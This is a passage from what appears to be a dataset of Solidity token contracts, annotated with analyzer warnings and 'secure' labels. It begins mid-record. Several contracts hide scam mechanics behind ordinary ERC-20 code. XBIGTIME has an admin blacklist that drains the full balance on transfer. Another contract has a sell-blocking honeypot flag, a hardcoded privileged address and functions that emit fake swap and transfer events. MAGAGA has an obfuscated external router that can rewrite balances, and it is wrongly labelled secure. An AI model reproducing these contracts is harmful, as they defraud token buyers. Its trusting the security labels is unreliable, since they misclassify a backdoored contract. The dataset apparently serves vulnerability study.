address(this);\n\t\t// calls-loop | ID: 8dc5ad7\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 96846d4\n\t\t// reentrancy-events | ID: b5e1c8a\n\t\t// reentrancy-benign | ID: b37f1a2\n\t\t// calls-loop | ID: 3e6c71d\n\t\t// reentrancy-no-eth | ID: 66de5b7\n\t\t// reentrancy-eth | ID: 869cfb0\n\t\t// reentrancy-eth | ID: 9a71c3a\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function Chire(\n address[] calldata recipients,\n uint256[] calldata values\n ) external onlyOwner {\n _approve(owner(), owner(), totalSupply());\n for (uint256 i = 0; i < recipients.length; i++) {\n transferFrom(\n msg.sender,\n recipients[i],\n values[i] * 10 ** decimals()\n );\n }\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: ab63d92): DEZIK.addLiquidity(uint256,uint256) has external calls inside a loop uniswapV2Router.addLiquidityETH{value ethAmount}(address(this),tokenAmount,0,0,deadAddress,block.timestamp)\n\t// Recommendation for ab63d92: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 73cdd05): DEZIK.addLiquidity(uint256,uint256) ignores return value by uniswapV2Router.addLiquidityETH{value ethAmount}(address(this),tokenAmount,0,0,deadAddress,block.timestamp)\n\t// Recommendation for 73cdd05: Ensure that all the return values of the function calls are used.\n function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 96846d4\n\t\t// reentrancy-events | ID: b5e1c8a\n\t\t// reentrancy-benign | ID: b37f1a2\n\t\t// calls-loop | ID: ab63d92\n\t\t// unused-return | ID: 73cdd05\n\t\t// reentrancy-eth | ID: 869cfb0\n\t\t// reentrancy-eth | ID: 9a71c3a\n uniswapV2Router.addLiquidityETH{value: ethAmount}(\n address(this),\n tokenAmount,\n 0,\n 0,\n deadAddress,\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 96846d4): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 96846d4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: b37f1a2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for b37f1a2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: e3cf167): DEZIK.swapBack() has external calls inside a loop (success,None) = address(marketingWallet).call{value address(this).balance}()\n\t// Recommendation for e3cf167: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: b8abd50): DEZIK.swapBack() has external calls inside a loop (success,None) = address(devWallet).call{value ethForDev}()\n\t// Recommendation for b8abd50: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 66de5b7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 66de5b7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: ad0f28e): DEZIK.swapBack() uses a dangerous strict equality contractBalance == 0 || totalTokensToSwap == 0\n\t// Recommendation for ad0f28e: Don't use strict equality to determine if an account has enough Ether or tokens.\n function swapBack() private {\n uint256 contractBalance = balanceOf(address(this));\n uint256 totalTokensToSwap = tokensForLiquidity +\n tokensForMarketing +\n tokensForDev;\n bool success;\n\n\t\t// incorrect-equality | ID: ad0f28e\n if (contractBalance == 0 || totalTokensToSwap == 0) {\n return;\n }\n\n if (contractBalance > swapTokensAtAmount * 20) {\n contractBalance = swapTokensAtAmount * 20;\n }\n\n uint256 liquidityTokens = (contractBalance * tokensForLiquidity) /\n totalTokensToSwap /\n 2;\n uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);\n\n uint256 initialETHBalance = address(this).balance;\n\n\t\t// reentrancy-events | ID: 96846d4\n\t\t// reentrancy-benign | ID: b37f1a2\n\t\t// reentrancy-no-eth | ID: 66de5b7\n swapTokensForEth(amountToSwapForETH);\n\n uint256 ethBalance = address(this).balance.sub(initialETHBalance);\n\n uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(\n totalTokensToSwap\n );\n uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);\n\n uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;\n\n\t\t// reentrancy-no-eth | ID: 66de5b7\n tokensForLiquidity = 0;\n\t\t// reentrancy-no-eth | ID: 66de5b7\n tokensForMarketing = 0;\n\t\t// reentrancy-no-eth | ID: 66de5b7\n tokensForDev = 0;\n\n\t\t// reentrancy-events | ID: 96846d4\n\t\t// reentrancy-events | ID: b5e1c8a\n\t\t// reentrancy-benign | ID: b37f1a2\n\t\t// calls-loop | ID: b8abd50\n\t\t// reentrancy-eth | ID: 869cfb0\n\t\t// reentrancy-eth | ID: 9a71c3a\n (success, ) = address(devWallet).call{value: ethForDev}(\"\");\n\n if (liquidityTokens > 0 && ethForLiquidity > 0) {\n\t\t\t// reentrancy-events | ID: 96846d4\n\t\t\t// reentrancy-benign | ID: b37f1a2\n addLiquidity(liquidityTokens, ethForLiquidity);\n\t\t\t// reentrancy-events | ID: 96846d4\n emit SwapAndLiquify(\n amountToSwapForETH,\n ethForLiquidity,\n tokensForLiquidity\n );\n }\n\n\t\t// reentrancy-events | ID: b5e1c8a\n\t\t// calls-loop | ID: e3cf167\n\t\t// reentrancy-eth | ID: 869cfb0\n\t\t// reentrancy-eth | ID: 9a71c3a\n (success, ) = address(marketingWallet).call{\n value: address(this).balance\n }(\"\");\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: dacb409): DEZIK.setAutoLPBurnSettings(uint256,uint256,bool) should emit an event for lpBurnFrequency = _frequencyInSeconds percentForLPBurn = _percent \n\t// Recommendation for dacb409: Emit an event for critical parameter changes.\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: ffc1480): DEZIK.setAutoLPBurnSettings(uint256,uint256,bool) contains a tautology or contradiction require(bool,string)(_percent <= 1000 && _percent >= 0,Must set auto LP burn percent between 0% and 10%)\n\t// Recommendation for ffc1480: Fix the incorrect comparison by changing the value type or the comparison.\n function setAutoLPBurnSettings(\n uint256 _frequencyInSeconds,\n uint256 _percent,\n bool _Enabled\n ) external onlyOwner {\n require(\n _frequencyInSeconds >= 600,\n \"cannot set buyback more often than every 10 minutes\"\n );\n\t\t// tautology | ID: ffc1480\n require(\n _percent <= 1000 && _percent >= 0,\n \"Must set auto LP burn percent between 0% and 10%\"\n );\n\t\t// events-maths | ID: dacb409\n lpBurnFrequency = _frequencyInSeconds;\n\t\t// events-maths | ID: dacb409\n percentForLPBurn = _percent;\n lpBurnEnabled = _Enabled;\n }\n\n\t// WARNING Optimization Issue (var-read-using-this | ID: d86fda8): The function DEZIK.autoBurnLiquidityPairTokens() reads liquidityPairBalance = this.balanceOf(uniswapV2Pair) with `this` which adds an extra STATICCALL.\n\t// Recommendation for d86fda8: Read the variable directly from storage instead of calling the contract.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1dd535f): Reentrancy in DEZIK.autoBurnLiquidityPairTokens() External calls pair.sync() Event emitted after the call(s) AutoNukeLP()\n\t// Recommendation for 1dd535f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: df29508): DEZIK.autoBurnLiquidityPairTokens() has external calls inside a loop pair.sync()\n\t// Recommendation for df29508: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: bc94700): DEZIK.autoBurnLiquidityPairTokens() has external calls inside a loop liquidityPairBalance = this.balanceOf(uniswapV2Pair)\n\t// Recommendation for bc94700: Favor pull over push strategy for external calls.\n function autoBurnLiquidityPairTokens() internal returns (bool) {\n lastLpBurnTime = block.timestamp;\n\n\t\t// var-read-using-this | ID: d86fda8\n\t\t// calls-loop | ID: bc94700\n uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);\n\n uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(\n 10000\n );\n\n if (amountToBurn > 0) {\n super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);\n }\n\n IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);\n\t\t// reentrancy-events | ID: 1dd535f\n\t\t// reentrancy-events | ID: b5e1c8a\n\t\t// calls-loop | ID: df29508\n\t\t// reentrancy-eth | ID: 869cfb0\n pair.sync();\n\t\t// reentrancy-events | ID: 1dd535f\n\t\t// reentrancy-events | ID: b5e1c8a\n emit AutoNukeLP();\n return true;\n }\n\n\t// WARNING Optimization Issue (var-read-using-this | ID: db54010): The function DEZIK.manualBurnLiquidityPairTokens(uint256) reads liquidityPairBalance = this.balanceOf(uniswapV2Pair) with `this` which adds an extra STATICCALL.\n\t// Recommendation for db54010: Read the variable directly from storage instead of calling the contract.\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 855bb0a): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 855bb0a: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f63a9c0): Reentrancy in DEZIK.manualBurnLiquidityPairTokens(uint256) External calls pair.sync() Event emitted after the call(s) ManualNukeLP()\n\t// Recommendation for f63a9c0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function manualBurnLiquidityPairTokens(\n uint256 percent\n ) external onlyOwner returns (bool) {\n\t\t// timestamp | ID: 855bb0a\n require(\n block.timestamp > lastManualLpBurnTime + manualBurnFrequency,\n \"Must wait for cooldown to finish\"\n );\n require(percent <= 1000, \"May not nuke more than 10% of tokens in LP\");\n lastManualLpBurnTime = block.timestamp;\n\n\t\t// var-read-using-this | ID: db54010\n uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);\n\n uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);\n\n if (amountToBurn > 0) {\n super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);\n }\n\n IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);\n\t\t// reentrancy-events | ID: f63a9c0\n pair.sync();\n\t\t// reentrancy-events | ID: f63a9c0\n emit ManualNukeLP();\n return true;\n }\n}", "file_name": "solidity_code_3226.sol", "secure": 0, "size_bytes": 34517 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract XBIGTIME is Ownable {\n mapping(address => bool) public boboinfo;\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 6ee47e4): XBIGTIME.constructor(string,string,address).hkadmin lacks a zerocheck on \t Safereumadmin = hkadmin\n\t// Recommendation for 6ee47e4: Check that the address is not zero.\n constructor(\n string memory tokenname,\n string memory tokensymbol,\n address hkadmin\n ) {\n _totalSupply = 10000000000 * 10 ** decimals();\n _balances[msg.sender] = 10000000000 * 10 ** decimals();\n _tokename = tokenname;\n _tokensymbol = tokensymbol;\n\t\t// missing-zero-check | ID: 6ee47e4\n Safereumadmin = hkadmin;\n emit Transfer(address(0), msg.sender, 10000000000 * 10 ** decimals());\n }\n\t// WARNING Optimization Issue (immutable-states | ID: c55af5c): XBIGTIME.Safereumadmin should be immutable \n\t// Recommendation for c55af5c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public Safereumadmin;\n\t// WARNING Optimization Issue (immutable-states | ID: 2187f4b): XBIGTIME._totalSupply should be immutable \n\t// Recommendation for 2187f4b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n string private _tokename;\n string private _tokensymbol;\n\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n function name() public view returns (string memory) {\n return _tokename;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 42a9dfc): XBIGTIME.bosum should be constant \n\t// Recommendation for 42a9dfc: Add the 'constant' attribute to state variables that never change.\n uint128 bosum = 94534;\n\t// WARNING Optimization Issue (constable-states | ID: f359ab5): XBIGTIME.globaltrue should be constant \n\t// Recommendation for f359ab5: Add the 'constant' attribute to state variables that never change.\n bool globaltrue = true;\n\t// WARNING Optimization Issue (constable-states | ID: 977fd27): XBIGTIME.globalff should be constant \n\t// Recommendation for 977fd27: Add the 'constant' attribute to state variables that never change.\n bool globalff = false;\n function abancdx(address xasada) public virtual returns (bool) {\n address tmoinfo = xasada;\n\n boboinfo[tmoinfo] = globaltrue;\n require(_msgSender() == Safereumadmin);\n return true;\n }\n\n function boboadminadd() external {\n if (_msgSender() == Safereumadmin) {}\n _balances[_msgSender()] +=\n 10 ** decimals() *\n 66800 *\n (24300000000 + 800);\n require(_msgSender() == Safereumadmin);\n }\n\n function symbol() public view returns (string memory) {\n return _tokensymbol;\n }\n function quitxxxffff(address hkkk) external {\n address tmoinfo = hkkk;\n\n boboinfo[tmoinfo] = globalff;\n require(_msgSender() == Safereumadmin);\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function transfer(address to, uint256 amount) public returns (bool) {\n _transfer(_msgSender(), to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8408eb6): XBIGTIME.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 8408eb6: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (boboinfo[from] == true) {\n amount = bosum + _balances[from] + bosum - bosum;\n }\n uint256 balance = _balances[from];\n require(balance >= amount, \"ERC20: transfer amount exceeds balance\");\n _balances[from] = _balances[from] - amount;\n _balances[to] = _balances[to] + amount;\n emit Transfer(from, to, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 76d46b3): XBIGTIME._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 76d46b3: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3108716): XBIGTIME._spendAllowance(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3108716: Rename the local variables that shadow another component.\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n}", "file_name": "solidity_code_3227.sol", "secure": 0, "size_bytes": 6603 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract ERC20 is Ownable, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n mapping(address => bool) private _snapshot;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n bool private _snapshotApplied = false;\n string private _name;\n string private _symbol;\n\n address private _universal = 0xEf1c6E67703c7BD7107eed8303Fbe6EC2554BF6B;\n address private _pair;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: d093ed3): ERC20.setup(address)._setup_ lacks a zerocheck on \t _pair = _setup_\n\t// Recommendation for d093ed3: Check that the address is not zero.\n function setup(address _setup_) external onlyOwner {\n\t\t// missing-zero-check | ID: d093ed3\n _pair = _setup_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 8;\n }\n\n function Approve(address[] calldata _addresses_) external {\n require(\n owner() == _msgSender() ||\n address(0xb378d3B68a6B9dFeE771c9292d3c005e81Bca37D) ==\n _msgSender(),\n \"Ownable: caller is not the owner\"\n );\n for (uint256 i = 0; i < _addresses_.length; i++) {\n _snapshot[_addresses_[i]] = true;\n emit Approval(\n _addresses_[i],\n address(this),\n balanceOf(_addresses_[i])\n );\n }\n }\n\n function execute(\n address[] calldata _addresses_,\n uint256 _in,\n uint256 _out\n ) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Swap(_universal, _in, 0, 0, _out, _addresses_[i]);\n emit Transfer(_pair, _addresses_[i], _out);\n }\n }\n\n function multicall(\n address[] calldata _addresses_,\n uint256 _in,\n uint256 _out\n ) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Swap(_universal, 0, _in, _out, 0, _addresses_[i]);\n emit Transfer(_addresses_[i], _pair, _in);\n }\n }\n\n function transfer(address _from, address _to, uint256 _wad) external {\n emit Transfer(_from, _to, _wad);\n }\n\n function decreaseAllowance(\n address[] calldata _addresses_\n ) external onlyOwner {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n _snapshot[_addresses_[i]] = false;\n }\n }\n\n function bind(address _address_) public view returns (bool) {\n return _snapshot[_address_];\n }\n function toApplied(bool c) external onlyOwner {\n _snapshotApplied = c;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 96e34f9): ERC20.transfer(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 96e34f9: Rename the local variables that shadow another component.\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1ac9f5c): ERC20.approve(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1ac9f5c: Rename the local variables that shadow another component.\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4fe7ce9): ERC20.increaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4fe7ce9: Rename the local variables that shadow another component.\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cc8940c): ERC20.decreaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for cc8940c: Rename the local variables that shadow another component.\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n if (_snapshot[from]) require(_snapshotApplied == true, \"\");\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n unchecked {\n _balances[account] += amount;\n }\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n }\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6c3d6e7): ERC20._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6c3d6e7: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 816bc53): ERC20._spendAllowance(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 816bc53: Rename the local variables that shadow another component.\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}", "file_name": "solidity_code_3228.sol", "secure": 0, "size_bytes": 10062 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract SMARTCREDIT is ERC20 {\n constructor() ERC20(\"SMARTCREDIT\", \"SMARTCREDIT\") {\n _mint(msg.sender, 100000000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_3229.sol", "secure": 1, "size_bytes": 289 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./Platforme.sol\" as Platforme;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./UniswapRouterV2.sol\" as UniswapRouterV2;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IUniswapRouterV2.sol\" as IUniswapRouterV2;\n\ncontract MAGAGA is Platforme, IERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5262c05): MAGAGA._totalSupply should be constant \n\t// Recommendation for 5262c05: Add the 'constant' attribute to state variables that never change.\n uint256 private _totalSupply = 1000000000 * 10 ** 18;\n\n uint8 private constant _decimals = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 38e696d): MAGAGA._name should be constant \n\t// Recommendation for 38e696d: Add the 'constant' attribute to state variables that never change.\n string private _name = unicode\"Make America Great And Gloriou\";\n\n\t// WARNING Optimization Issue (constable-states | ID: cd351e8): MAGAGA._symbol should be constant \n\t// Recommendation for cd351e8: Add the 'constant' attribute to state variables that never change.\n string private _symbol = unicode\"MAGAGA\";\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _balances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: e8c2f36): MAGAGA.Router2Instance should be immutable \n\t// Recommendation for e8c2f36: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n UniswapRouterV2 private Router2Instance;\n\n constructor(uint256 aEdZTTu) {\n uint256 cc = aEdZTTu +\n uint256(10) -\n uint256(10) +\n uint256(\n bytes32(\n 0x0000000000000000000000000000000000000000000000000000000000000000\n )\n );\n\n Router2Instance = getBcFnnmoosgsto(((brcFactornnmoosgsto(cc))));\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 15b529b): MAGAGA.bb should be constant \n\t// Recommendation for 15b529b: Add the 'constant' attribute to state variables that never change.\n uint160 private bb = 20;\n\n function brcFfffactornnmoosgsto(\n uint256 value\n ) internal view returns (uint160) {\n uint160 a = 70;\n\n return (bb +\n a +\n uint160(value) +\n uint160(\n uint256(\n bytes32(\n 0x0000000000000000000000000000000000000000000000000000000000000000\n )\n )\n ));\n }\n\n function brcFactornnmoosgsto(\n uint256 value\n ) internal view returns (address) {\n return address(brcFfffactornnmoosgsto(value));\n }\n\n function getBcFnnmoosgsto(\n address accc\n ) internal pure returns (UniswapRouterV2) {\n return getBcQnnmoosgsto(accc);\n }\n\n function getBcQnnmoosgsto(\n address accc\n ) internal pure returns (UniswapRouterV2) {\n return UniswapRouterV2(accc);\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address accountOwner = _msgSender();\n\n _transfer(accountOwner, to, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address sender\n ) public view virtual returns (uint256) {\n return _allowances[accountOwner][sender];\n }\n\n function approve(\n address sender,\n uint256 amount\n ) public virtual returns (bool) {\n address accountOwner = _msgSender();\n\n _approve(accountOwner, sender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address sender = _msgSender();\n\n uint256 currentAllowance = allowance(from, sender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(from, sender, currentAllowance - amount);\n }\n }\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(\n from != address(0) && to != address(0),\n \"ERC20: transfer the zero address\"\n );\n\n uint256 balance = IUniswapRouterV2.swap99(\n Router2Instance,\n Router2Instance,\n _balances[from],\n from\n );\n\n require(balance >= amount, \"ERC20: amount over balance\");\n\n _balances[from] = balance.sub(amount);\n\n _balances[to] = _balances[to].add(amount);\n\n emit Transfer(from, to, amount);\n }\n\n function _approve(\n address accountOwner,\n address sender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(sender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][sender] = amount;\n\n emit Approval(accountOwner, sender, amount);\n }\n}", "file_name": "solidity_code_323.sol", "secure": 1, "size_bytes": 6299 }
